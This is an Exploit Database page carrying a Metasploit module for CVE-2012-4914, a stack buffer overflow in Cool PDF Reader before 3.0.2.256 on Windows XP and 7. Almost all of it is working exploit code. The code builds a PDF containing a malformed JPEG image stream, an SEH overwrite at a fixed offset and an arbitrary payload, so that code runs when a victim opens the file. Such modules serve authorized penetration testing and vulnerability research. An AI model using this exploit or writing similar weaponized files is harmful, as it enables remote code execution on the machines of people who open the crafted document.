Cool PDF Image Stream – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2013-03-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24876/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Cool PDF Image Stream Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack buffer overflow in Cool PDF Reader prior to version
  3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
  contains a specially crafted image stream. This module has been tested successfully
  on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Francis Provencher', # Vulnerability discovery
  'Chris Gabriel', # Proof of concept
  'juan vazquez' # Metasploit module
  ],
  'References' =>
  [
  [ 'CVE', '2012-4914' ],
  [ 'OSVDB', '89349' ],
  [ 'EDB', '24463' ],
  [ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
  ],
  'Payload'=>
  {
  'Space' => 2000,
  'DisableNops' => true
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
  {
  'Offset' => 433,
  'Ret' => 0x00539fa4 # ppr from coolpdf.exe
  }
  ]
  ],
  'DisclosureDate' => 'Jan 18 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
  ], self.class)
  end
  
  def exploit
  file_create(make_pdf)
  end
  
  def jpeg
  p = payload.encoded
  sploit ="\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"
  sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"
  sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"
  sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"
  sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
  sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"
  sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
  sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
  sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"
  sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"
  sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"
  sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"
  sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"
  sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"
  sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"
  sploit << rand_text(target['Offset'])
  sploit << generate_seh_record(target.ret)
  sploit << p
  sploit << rand_text(2388 - p.length)
  return sploit
  end
  
  # Override the mixin obfuscator since it doesn't seem to work here.
  def nObfu(str)
  return str
  end
  
  def make_pdf
  @pdf << header
  add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
  add_object(2, nObfu("<</Type/Outlines>>"))
  add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
  add_object(4, nObfu("[/PDF/Text/ImageC]"))
  add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
  stream_1 = "stream" << eol
  stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
  stream_1 << "endstream" << eol
  add_object(6, nObfu("<</Length 91>>#{stream_1}"))
  stream = "<<" << eol
  stream << "/Width 230" << eol
  stream << "/BitsPerComponent 8" << eol
  stream << "/Name /X" << eol
  stream << "/Height 50" << eol
  stream << "/Intent /RelativeColorimetric" << eol
  stream << "/Subtype /Image" << eol
  stream << "/Filter /DCTDecode" << eol
  stream << "/Length #{jpeg.length}" << eol
  stream << "/ColorSpace /DeviceCMYK" << eol
  stream << "/Type /XObject" << eol
  stream << ">>"
  stream << "stream" << eol
  stream << jpeg << eol
  stream << "endstream" << eol
  add_object(7, stream)
  finish_pdf
  end
  
  end